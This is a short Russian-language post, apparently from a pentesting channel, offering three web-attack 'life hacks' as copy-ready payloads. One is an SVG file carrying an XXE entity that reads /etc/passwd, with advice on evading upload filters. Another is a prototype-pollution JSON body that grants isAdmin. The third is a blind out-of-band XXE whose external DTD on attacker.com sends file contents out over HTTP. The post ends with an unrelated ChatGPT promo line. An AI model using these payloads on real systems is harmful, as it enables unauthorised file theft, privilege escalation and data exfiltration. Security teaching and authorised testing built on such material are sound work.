3 лайфхака для пентестинга — 8 июля 2026 г. в 11:25:06.754
3 лайфхака для пентестинга 👋 Приветствую в мире цифровой безопасности! Расскажу ещё о трех полезных фишках про пентесте. ⏺XXE через SVG-загрузку - если приложение принимает SVG-файлы как изображения и рендерит их через библиотеку с XML-парсером, можно спрятать XXE прямо внутри “картинки”: <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="20">&xxe;</text> </svg> Загружаем как аватарку или логотип - многие фильтры проверяют только Content-Type и расширение файла, а не факт что внутри SVG прячется валидный XML с DOCTYPE. ⏺Prototype Pollution в Node.js через JSON-объединение - если приложение мержит пользовательский JSON с внутренним объектом через lodash.merge или похожие библиотеки без санитайзинга ключей, можно загрязнить прототип всех объектов в приложении: { "__proto__": { "isAdmin": true } } Если дальше в коде где-то проверяется user.isAdmin без явного определения этого поля на самом объекте - JS поднимется по цепочке прототипов и найдёт значение которое мы туда положили. Работает не всегда, но в связке с express и populate-функциями встречается регулярно. ⏺Blind XXE через OOB-канал с параметрическими сущностями - когда XXE не выводит результат напрямую в ответ, но сервер всё равно ходит по сети: <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> На стороне attacker.com лежит evil.dtd который переопределяет параметрическую сущность и отправляет содержимое файла обратно через HTTP-запрос: <!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.com/log?data=%file;'>"> %exfil; %send; Даже если сервер никогда не покажет результат в ответе, сам факт что он постучался к attacker.com с содержимым файла в параметре уже подтверждает уязвимость. 🤖Бесплатный ChatGPT

